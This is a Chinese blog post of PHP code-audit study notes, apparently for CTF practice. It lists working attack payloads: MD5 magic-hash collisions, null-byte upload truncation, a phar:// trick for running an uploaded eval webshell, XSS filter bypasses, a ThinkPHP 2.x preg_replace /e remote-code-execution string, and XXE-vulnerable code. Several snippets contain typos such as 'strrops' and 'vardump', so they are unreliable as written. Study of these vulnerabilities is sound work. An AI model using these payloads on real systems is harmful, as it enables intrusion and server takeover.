php代码审计

案例一 MD5弱比较

复制代码
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');    #1
$str = substr($str,1);                 #2
$str = str_replace('key','',$str);
parse_str($str);    #3
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
构造 :?kkeyey1=QNKCDZO&kkeyey2=240610708
复制代码

1.strstr()

函数搜索字符串在另一字符串中第一次出现,并返回字符串的剩余部分

<?php
echo strstr("I love Shanghai!","Shanghai");
?>
输出:Shanghai

2.substr()

函数返回字符串的一部分

<?php
echo substr("Hello world",6);
?>

输出 :world

3.parse_str()

将查询字符串解析到变量中  parse解析

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
输出:Bill 60

 案例二 cookie添加

复制代码
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;    #1
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
这里用到一个字符串操作 思路是 遍历filename的遇到一个问题是如何将文件的每一行进行base64编码
for i in `cat /usr/share/wordlists/dirb/common.txt` ; do echo $i | base64 >> base64.txt;done
复制代码

1.intval获取变量的整数值

tips:这里用到的知识还有Cookie内的值要用 = :margin=margin

案例三 00截断

复制代码
<?php
var_dump($_FILES['upload_file']); //打印接收的文件变量数组
echo "<br />";
$file_ext = substr($_FILES['upload_file']['name'],strrops($_FILES['upload_file']['name'],".")+1);    //截取文件名后缀
var_dump($file_ext);  
echo "<br />";
$tmp_file = $FILES['upload_file']['tmp_name']    //文件临时存储位置
vardump($tmp_file);
echo "<br />";
$img_path = $_POST['save_path']."/".rand(100,999).date("YmdHis").".".$file_ext; //将上传目录、随机数、时间戳和扩展名拼接为文件保存路径
var_dump($img_path);
echo "<br />";
move_upload_file($tmp_file,$img_path);    //将临时文件移动到文件保存路径上
?>
<form enctype="multipart/form-data" method="post">
    <p>请选择要上传的图片:</p>
    <input type="hidden" name="save_path" value="upload" />
    <input class="input_file" type="file" name="upload_file" />
    <input class="button" type="submit" name="submit" value="上传" />
</form>
复制代码

在upload后加\0/1.php,重放后返回路径$img_path值为
string(34) “upload/1.php/6920200330192442.png”,其中包含\0,因此可以总结出,除了$_FILES[‘upload_file’][‘name’]这种变量,其他变量都会将字符串原封不动进行拼接,形成字符串变量中存在\0字符,一旦这个字符串被操作系统用作文件的命名,就会产生00截断的情况。

get方法中,当url中加入%00时,通过urlencode,%00得到字符\0

 

 要知道上传的固定路径是什么 都要在上传的文件后面试试能不能+\0进行截断

案例四 文件包含phar://协议使用

phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件

php.ini中的phar.readonly必须为off才能生成

试尝试上传一个一句话木马,思路:
1,写一个一句话木马1.php
2 把一句话木马压缩成1.zip
3.把压缩包后缀改名为1.jpg发现上传成功。

再结合上面介绍的phar://伪协议进行解压木马

?file=phar://1.jpg/1  #因为题目会自动添加php后缀

在使用蚁剑或者菜刀链接

复制代码
<html>
   tips:the parameter is file!
<!--upload.php -->
@$file = $_GET['file'];
    if(isset($file))
    {
        if(preg_match('/http/data/ftp/input/%00/i',$file) || strstr($file,"..$
       {
        echo error
      }
     else
    { include($file.'.php');}
  }
</html>
复制代码

通过文件上传含有webshell代码的文件,可以通过代码提示中http,data,ftp,input filter读取,扩展名也必须为php因此不能截断

唯一能够使用的试phar://协议在本地目录下新建一个目录,命令为blog,里面放一个index.php文件,是一个写shell的代码

<?php file_put_contents('shell.php','<php eval($_POST[1])?>'?);

案例五 xss绕过

tips:javascript:alert(1) 这种格式的xss只能用在标签内例如

<input name=keyword value="'.htmlspecialchars($str).'">

复制代码
#双写绕过
<?php
header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );    #双写绕过

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>
#双写绕过 poc <scscriptript>alert(1)</scscriptript>
#大小写绕过 poc <Script>alert(1)</Script>
其他标签绕过
<body onload=alert('xss')
<a href="" onclick=alert(1)>click</a>
复制代码

构造其他语句进行弹窗

复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>
poc : <img src=' ' onerror="alert`1`">
复制代码

html实体转义绕过htmlspecialchars函数

案例6 thinkphp2的preg_replace的任意代码执行

MVC框架

前提:preg_replace 的/e参数会将第二个模块的参数当成php代码执行 

解析:

<?php
@preg_replace('/test/e','print_r("AAA");','just test'); 
例如这段代码可以直接打印出AAA
tips:这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

1. 在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行

2.preg_replace的第三个参数必须要有双引号包裹

3.$var[\'\\1\'] = "\\2";' 此数组的意思是让通过前面正则出来的两个参数进行一个键值对等  例如: a/b --> array {a =>b}

4.执行命令的只能是值

5.构造payload ?s=a/b/c/${@print(eval($_POST[1]))}/e/f

案例

函数7 XXE漏洞原理和利用

触发点在于可以上传xml文件,没有对xml文件进行过滤,导致可加载恶意外部文件和代码

造成任意文件读取,命令执行,内网端口扫描,攻击内网网站

xml文档结构包括 xml声明,DTD文档类型定义 文档元素

 

 php://input 是个可以访问请求的原始数据的只读流

结合file_get_contents(php://input)可以读取POST提交的数据

simplexml_load_string函数介绍

php中这个函数将xml格式字符串转换为对应的simpleXMLElement

XML注入回显输出函数

php中使用print_r(),echo输出想要输出的内容

存在xxe漏洞代码

复制代码
<?php
$xml=file_get_contents(php://input);
$data=simplexml_load_string($xml);
echo "<pre>";

print_r($data);//有回显的xml
?>
复制代码

 

字符操作
extract() 
extract() 函数从数组中将变量导入到当前的符号表。    #生成的是一个全局变量  例如extract($_GET[a]) --> 传一个$_COOKIE=<?= @eval($_REQUEST[a])?>

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
$_SERVER['REQUEST_uRI']
$_SERVER['REQUEST_uRI'] = 
就是域名后面请求的路径和参数
例如:www.test.com/test?a=123

echo $_SERVER[
'REQUEST_uRI'] = /test?a=123

substr_count($str,$xian) 

找一个参数在一个句子里面出现了几次

explode()

把字符串打散成数组

implode()

1
implode(separator,array)    返回一个由数组元素组合成的字符串。
array_map()

 

 

 

命令执行 
  • assert函数是直接将传入的参数当成PHP代码直接执行
  • xss括号绕过 -反引号替代括号

<img src="x" onerror="alert`1`"/>
system(args) 有回显
passthru(args) 有回显 exec(args) 回显最后一行,必须用echo输出 shell_exec(args) 无回显 必须输出

 ob_start()函数

复制代码
ob_start参数是一个函数名.该函数需要满足条件
1. 函数必须接收一个字符串参数
2. 该函数要有返回值
//当输出缓冲区域被ob_flush(),ob_clean() ob_end_flush冲刷请求结束之际
输出缓冲区内容被该函数调用
ob_start("system");
echo "whomai";
ob_end_flush();    #触发
相当于
system("whoami");    
复制代码

 

posted @   lisenMiller  阅读(316)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
点击右上角即可分享
微信分享提示